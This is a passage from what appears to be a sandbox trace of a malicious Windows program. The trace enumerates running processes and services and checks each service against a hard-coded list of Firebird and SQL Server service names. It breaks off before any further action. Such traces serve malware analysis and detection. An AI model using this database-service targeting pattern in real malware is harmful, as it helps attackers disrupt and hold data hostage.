1 [0166.433] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0166.433] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.433] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.433] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0166.434] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0166.434] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0166.435] lstrlenW (lpString="movers-indication.exe") returned 21 [0166.435] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0166.436] lstrlenW (lpString="drama tv thee.exe") returned 17 [0166.436] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0166.436] lstrlenW (lpString="barriers.exe") returned 12 [0166.436] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0166.437] lstrlenW (lpString="shootclick.exe") returned 14 [0166.437] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0166.438] lstrlenW (lpString="nickel.exe") returned 10 [0166.438] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0166.439] lstrlenW (lpString="imperialopened.exe") returned 18 [0166.439] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0166.440] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0166.440] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0166.440] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0166.441] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0166.441] lstrlenW (lpString="perhapssentences.exe") returned 20 [0166.441] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.444] lstrlenW (lpString="dllhost.exe") returned 11 [0166.444] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.444] lstrlenW (lpString="svchost.exe") returned 11 [0166.445] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0166.445] lstrlenW (lpString="chrome64b.exe") returned 13 [0166.445] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0166.446] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0166.446] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.447] lstrlenW (lpString="conhost.exe") returned 11 [0166.447] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0166.448] lstrlenW (lpString="cmd.exe") returned 7 [0166.448] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.448] lstrlenW (lpString="conhost.exe") returned 11 [0166.448] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.449] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.449] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0166.450] lstrlenW (lpString="mode.com") returned 8 [0166.450] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0166.451] CloseHandle (hObject=0x318) returned 1 [0166.451] Sleep (dwMilliseconds=0x1f4) [0166.961] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0166.962] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0166.962] GetLastError () returned 0xea [0166.962] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800c8 [0166.962] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800c8, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800c8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0166.963] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0166.963] lstrlenW (lpString="Appinfo") returned 7 [0166.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0166.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0166.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0166.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0166.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0166.963] lstrlenW (lpString="AppXSvc") returned 7 [0166.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0166.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0166.963] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0166.963] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0166.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0166.963] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.963] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.963] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.963] lstrlenW (lpString="Audiosrv") returned 8 [0166.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0166.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0166.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0166.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0166.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0166.963] lstrlenW (lpString="BFE") returned 3 [0166.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.964] lstrlenW (lpString="BITS") returned 4 [0166.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0166.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0166.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0166.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0166.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0166.964] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0166.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0166.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0166.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0166.964] lstrlenW (lpString="CDPSvc") returned 6 [0166.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0166.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0166.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0166.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0166.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0166.964] lstrlenW (lpString="ClickToRunSvc") returned 13 [0166.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0166.964] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0166.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0166.964] lstrlenW (lpString="ClipSVC") returned 7 [0166.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0166.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0166.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0166.964] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0166.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0166.964] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0166.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0166.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0166.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0166.965] lstrlenW (lpString="CryptSvc") returned 8 [0166.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.965] lstrlenW (lpString="DcomLaunch") returned 10 [0166.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.965] lstrlenW (lpString="DeviceAssociationService") returned 24 [0166.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0166.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0166.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0166.965] lstrlenW (lpString="Dhcp") returned 4 [0166.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.965] lstrlenW (lpString="Dnscache") returned 8 [0166.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.965] lstrlenW (lpString="DoSvc") returned 5 [0166.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0166.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0166.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0166.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0166.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0166.966] lstrlenW (lpString="DPS") returned 3 [0166.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.966] lstrlenW (lpString="DusmSvc") returned 7 [0166.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0166.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0166.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0166.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0166.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0166.966] lstrlenW (lpString="EventLog") returned 8 [0166.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0166.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0166.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0166.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0166.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0166.966] lstrlenW (lpString="EventSystem") returned 11 [0166.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.966] lstrlenW (lpString="FontCache") returned 9 [0166.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0166.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0166.966] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0166.966] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0166.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0166.966] lstrlenW (lpString="gpsvc") returned 5 [0166.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.967] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.967] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.967] lstrlenW (lpString="iphlpsvc") returned 8 [0166.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.967] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.967] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.967] lstrlenW (lpString="KeyIso") returned 6 [0166.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0166.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0166.967] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0166.967] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0166.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0166.967] lstrlenW (lpString="LanmanServer") returned 12 [0166.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.967] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.967] lstrlenW (lpString="lfsvc") returned 5 [0166.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0166.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0166.967] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0166.967] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0166.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0166.968] lstrlenW (lpString="LicenseManager") returned 14 [0166.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0166.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0166.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0166.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0166.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0166.968] lstrlenW (lpString="lmhosts") returned 7 [0166.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.968] lstrlenW (lpString="LSM") returned 3 [0166.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0166.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0166.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0166.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0166.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0166.968] lstrlenW (lpString="MpsSvc") returned 6 [0166.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.968] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.968] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.968] lstrlenW (lpString="NcbService") returned 10 [0166.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0166.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0166.968] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0166.968] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0166.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0166.968] lstrlenW (lpString="netprofm") returned 8 [0166.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.968] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.968] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.969] lstrlenW (lpString="NlaSvc") returned 6 [0166.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.969] lstrlenW (lpString="nsi") returned 3 [0166.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.969] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.969] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.969] lstrlenW (lpString="PcaSvc") returned 6 [0166.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.969] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.969] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 